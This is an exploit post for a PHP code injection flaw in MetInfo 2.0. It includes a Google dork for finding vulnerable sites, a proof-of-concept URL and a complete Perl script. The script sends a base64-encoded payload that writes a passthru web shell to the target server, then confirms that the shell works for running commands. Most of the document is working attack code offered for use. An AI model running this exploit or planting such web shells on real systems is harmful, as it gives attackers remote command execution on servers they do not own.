MetInfo 2.0 PHP Code Injection

`#####################################################################################################  
#Exploit Title£ºMetInfo 2.0 PHP Code Injection Vulnerability  
#Date:2010-10-31  
#Author£ºlinux520.com  
#Team£ºhttp://www.linux520.com/  
#Vendor£ºhttp://www.metinfo.cn/  
#Dork£º"Powered by MetInfo 2.0 " # Google: 90,000 + results  
#Price£º free  
#Language£ºPHP  
#Greetz£ºCCAV  
#####################################################################################################  
+Description£º  
at 132 line of ROOTPATH/include/common.inc.php:  
  
eval(base64_decode($class2_all_1[0]));  
  
$class2_all_1[0] is not defined £¬so we can inject eval php code  
#####################################################################################################  
+POC£ºhttp://victim.com/include/common.inc.php?$class2_all_1[0]=[base64_encode(eval php code)]  
#####################################################################################################  
+Exploit:  
  
#!/usr/bin/env perl  
  
use LWP::UserAgent;  
print "################################################################\n";  
print "# MetInfo 2.0 c0de inj3cti0n 3xplo!t #\n";  
print "# by:linux520.com #\n";  
print "################################################################\n";  
  
die "Usage: $0 <target site> Ex:$0 victim.com\n" unless($ARGV[0]);  
my $victim = $ARGV[0];  
$user_agent = new LWP::UserAgent;  
$vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=");  
# fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>');  
$user_agent->request($vul_request);  
$response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php"));  
if($response->is_success)  
{  
print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id";  
}  
else  
{  
print "could not connect to $victim";  
}  
#####################################################################################################  
  
`